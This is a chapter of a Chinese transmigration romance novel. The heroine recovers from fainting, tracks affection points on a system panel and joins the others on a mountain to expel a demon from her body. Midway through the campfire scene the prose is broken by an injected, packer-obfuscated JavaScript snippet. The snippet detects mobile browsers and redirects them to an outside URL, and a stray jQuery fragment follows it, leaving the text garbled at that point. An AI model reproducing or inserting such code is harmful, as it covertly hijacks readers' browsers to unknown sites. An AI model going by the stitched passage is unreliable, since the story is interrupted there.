9. 好感度归零
作品:《穿进狗血文的自我修养》 易霖秀不知道自己是晕了还是睡着了,总之她倒了。
浑浑噩噩的梦裹挟着人的精神下坠。
昏暗的烛光中,床上安静沉睡的少女眼睫动了动,睁开一双迷蒙的眼。
易霖秀撑着身子坐起,只觉手脚发软,脊背酸痛,睡了一觉疲惫感更甚,拽着自己白色的里衣袖子,她还在想自己是怎么回来的。
门缝“吱呀”一声,推门走近一个着荷叶绿衣裙的少女,是余莲若,她手上还端着洗漱的瓷盆。
见易霖秀昏昏迷两天终于醒来,余莲若的手不由地一抖,定了定心神,拧了沾水的帕子才轻轻过去。
“裴道友已喂你吃了回春丹,睡了两天现在感觉如何?”余莲若把手上叠规整的湿帕子递给床上醒了还有些呆滞的少女。
易霖秀震惊于两天这个数字,接过手帕贴在脑门上,眼睛滴溜溜转了圈,问道:“我是在店里晕了吗?”
余莲若点点头:“裴道友说你体质弱,又被妖怪蚕食身体,精力大不如前,才会透支晕倒。”
她这样说着,想到背起少女时那轻如羽毛的重量,有些心疼地垂下眼看着易霖秀消瘦的手腕,心中的不信任已在这两天逐渐瓦解。
若不是学艺不精未能阻止,想必易姑娘也不必受此连累。
而两眼一黑,就是易霖秀此时的心理状态。
感觉自己活人微死,不过她心里也清楚:不管这具身体差到何种地步,都不会轻易死的,因为女配的掌门爹会吊着她一口气。
原著里即使女配作天作地,男主也会因为她的这层身份保护她,这也是前期导致男女主关系一直进展不前的原因,后来有一层进展就有一层裂缝。
由此看来目前基本没什么可担心的。
“原来是这样。是你带我回来的吧,谢谢你莲若。”她露出一个柔软的笑,面色苍白,眼眸却似湖面上投映的星子,熠熠生辉。
余莲若握住易霖秀的手,眼神坚定,语气轻缓:“霖秀,你放心,裴道友说,除了妖身体就会恢复到从前的模样,我和师兄也会保护你的。”
“没事的。”你师兄以后不害我,我就谢天谢地了。
裴道友,裴道友,裴道友。
易霖秀有些惊恐地想:晕倒这段时间男女主不会都有感情进展了吧?
再次调出面板一看。
拆官配任务进度0%。
男女主感情进度1%。
反派好感度-25。
——攻略进度0%。
睡个觉悄无声息扣三点好感度,男女主更是走了下感情进度条,易霖秀嘴角抽了下。
她再也不晕了。
“裴道长说的三天时间怕是已到,可说了该如何做?”
“他说让你醒了后找他。”
-
昨天夜已深,孤男寡女商量也不合适,易霖秀又躺了一晚才去找男主。
她还未敲门,里面就说一声:“进。”
推开门就看见裴澜在用手帕擦拭自己的长剑,头也不抬,专心致志。
“裴道长,何事呀?”
“有隔音咒,不用装。”
易霖秀:……
“虽不知你为何有如此变化,在我来看是极好。你的身体应该不必我多说,昏睡两日也算是对你的警醒。”
裴澜终于抬眼,没什么情绪:“若无能力,还是待在掌门身边为好,如何?”
易霖秀也睁着一双懵懂的眼看他:“师兄……那你走吧。”
走了刚好不和女主有牵扯,易霖秀心平气和地想,这一路她虽是想过要利用男主来照顾自己性命的安危,但也不是非有不可的。
“若有事,我会回宗门修养,身上的法宝也足够我涉及不那么危险的事,若是大师兄不放心,我不如和明姑娘他们一路呢?你也能看出他们都是有实力的,对吧?”
裴澜不知道是被她哪句话戳得直皱眉:“若要依附,也不可选些无法知根知底的人物。”
若说明松雪是别人家温柔支持的完美表哥,裴澜就是别人家从小吵到大的亲哥,有些唠叨,但是隐含真情实意的关心。
易霖秀也不知道脑子里怎么就冒出了这句话,其实她对两种哥的类型都不了解,因为她从小就是家里的大姐。
却也不由想到:怪不得女配要缠着他,人品无懈可击,嘴毒是唯一缺点。
易霖秀站一会儿就累,拖了个板凳坐下徐徐喝茶。
“没事的师兄,等我爹出关了我就回去,你要是有急事处理,我肯定每三天给你写封信报告情况,就连坐标也播报清楚!”
裴澜:“……不必。我会再看着你一月。”
易霖秀半张脸躲在茶杯下偷笑,“知道了知道了,我不缠着师兄了师兄倒要缠着我。”
裴澜蹙眉,纠正道:“师命不可违。”
易霖秀咬了口放那的糕点,“我爹说的话,也不必时时信奉如神。”
“做指引足够。”裴澜又低头擦剑了。
听了这,易霖秀心情复杂起来,原著里剑宗掌门被反派复仇杀死,男主消沉了好长一段时间,连带着回避了女主的情感。
好狗血……想到那几章剧情就胃痛。
连带着手里香甜的糕点都没味儿了,易霖秀拍两下手,“说正事吧,这妖怪要怎么抓?”
“另寻它法,今夜上山。”
……
易霖秀哼哧哼哧地埋头爬山,偶尔抬头看眼天空,就能落下前面身高腿长的男主几步之遥。
谁的体力借她点呢?算了,要是没她,这三个人早都飞上去了。
她任命地继续爬。
余莲若就看着易霖秀每次要累倒,下一秒又振作的循环,她轻轻笑起来,不知为何想起易姑娘之前说过的话,就连即将再和妖怪交斗,心里也依然格外宁静。
明松雪则是落在队伍末尾,时不时摸摸花,摘摘叶子,这闲庭散步不疾不徐的脚步让易霖秀瞅他一眼,又瞥一眼,再看一眼,最终确认,明松雪对她视而不见的本事三天不见又长不少。
所以那三点好感度到底怎么扣的?
易霖秀百思不得其解。
爬到夕阳从天边落下,月亮早已高高升起,细碎的星点伴月左右。
听余莲若说,连续几日都是晴天,夜晚的星空也预兆着明天依旧是个晴朗的好天气。
易霖秀累瘫了,撑着膝盖整个人颤颤巍巍,她往前走几步靠在树上,才渐渐平复心跳。
方才要扶易霖秀的手被拒绝了,余莲若只好对她招招手:“霖秀,过来休息一下吧?”
夜已深,山上寒凉不比城中,四人围着升起篝火。
易霖秀搓搓手,从来没有过的体验让她觉得无比新鲜,火苗映着的面容带了暖色,眉目舒展,唇角是自己也没察觉的弧度,整个人是欢快又放松的。
明松雪敛眉,想起了那日易霖秀晕倒时的场景。
草率、惨淡。
那么苍白的颜色,和缥缈峰上常年不化的冰雪是一样的。
她好像是世间最容易逝去的一种生命,此刻却又有与这不同的鲜活。
记起那个只差一点就被淹死的男人,他并不觉得活着又或是死了有什么,只是随意踹进水里,看着是否那样的人也能抓住微乎其微的机会活下来。
事实证明,他抓住了,又或是所谓的神明眷顾,岸边垂钓的农夫发现了水下挣扎的人。
为什么呢?为什么不就此死去呢?
真好命啊。
回过神,还是见同那日一样的人在眼前,她手里捧着油纸包裹的糕点:“吃点心吗?我带了些上来。”
脸上不再是雪一样的颜色,说话时花瓣颜色的唇一张一合。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15041939|162565||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他轻轻笑了笑,接下了糕点。
“……”这回到易霖秀沉默了,她分完了所有人还想留一块呢,遗憾地从桃花糕上收回视线。
【叮——反派好感+25。】
易霖秀吓一跳,反应过来的她又调出系统面板,上面板板正正地显示——【反派好感0。】
狂跳的心脏又镇定了,忙忙碌碌这些天,好感也只是从负数归零。
然而下一秒她就看见,原本为零的攻略进度,竟然加了二。
易霖秀惊喜地看了明松雪一眼,仿佛他突然从一尊石像变成了镀银的。
明松雪收到她的视线,递过手上油纸包着的糕点,问:“要吃吗?”
倒反天罡。
但易霖秀眉眼弯弯,她感觉心里连绵的阴雨天终于放晴了,语气也柔和得像掺了蜜:“你觉得这个好吃吗?”
“不好吃。”明松雪说。
易霖秀:……
那好感是为什么加?反派想通了?觉得她人太好了?一见钟情的反射弧太长?
【宿主,想太多了。】
“你哪边的???”她这辈子的疑问都没这天多,当然,夸张句而已。
旁边的余莲若咬了口糕点,道:“师兄,我觉得挺好吃的呀。”
听了这话,易霖秀把明松雪手里的糕点又拿走了,用和善语气解释道:“下次再给你别的,这个给莲若姑娘吧。”
此时,去周围绕了一圈的裴澜回来了。
“易姑娘,你身上的妖,蛮劲逼出伤身。不过不是没有破解之法。”裴澜用剑拨下火堆才说道。
易霖秀的注意力完全被他这举动吸引了,看他又擦剑又用剑戳火堆的,这剑到底是宝贵还是不宝贵啊?
主角团都是奇人。
“裴道长便直说吧。”
裴澜从袖中掏出一个木镯子,“戴上这个,能够补上你流失的灵力,短时间内不会伤害内里。”
“还是要硬逼的意思?”
裴澜理所当然地点点头:“其他的,你的身体受不住。来此处,也只是这更为空旷,不会伤害无辜。”
“我已布下阵法,万无一失。”
易霖秀戴上镯子,跟从裴澜的指示闭上眼,用灵力去感受。
平常不怎么用灵力还不知道,现在用上,心口传来细针横冲直撞似的尖锐疼痛,易霖秀疼得一缩,又想起男主说的让她冷静。
她冷静不下来,疼疼疼!
可疼了一会儿,也逐渐适应,她试着拿回主导权,将自身的灵力与裴澜输送的灵力融合,又一阵撕裂的痛传来,她咬牙,还没一鼓作气,就突感胸口一空,鲜血从耳鼻口中冲出。
又要晕倒时,后背贴上了一个带着冷意的胸膛,清而淡的说不清的香气包裹了她,凉如水的发丝落下一缕在她耳边,这听不清晰的声音说了句什么。
再然后,她就晕了过去。
昏迷前脑子里只有一个想法:说什么不伤及内里,骗人的!
明松雪揽住了怀中的人,又想缩回手,他不知道自己为什么就这样抱住了她。
明明看起来疼得浑身颤抖,却又一声不吭,像是修习过,却灵力稀薄得像个普通凡人。他疑惑太多,需要一个解答。
灵力钻入易霖秀体内时,她在昏沉中疼得皱起了眉,方才无力垂下的手也攥紧了他的衣袖,他指尖微顿,这次却没抽开手。
然而不如他所想,什么也没有。
明松雪抚平了她紧蹙的眉心,神色依旧没什么变化。
只在想,为何打了这么久,还没分出胜负。
他又戳了戳易霖秀,没戳醒。拽了拽衣袖,没拽动。
好吧,那他就不上去凑热闹了。
普通的厉害点的妖怪么,少年的唇角勾出一抹嘲讽的笑。
那个东西只是一个披着妖怪皮的死人而已。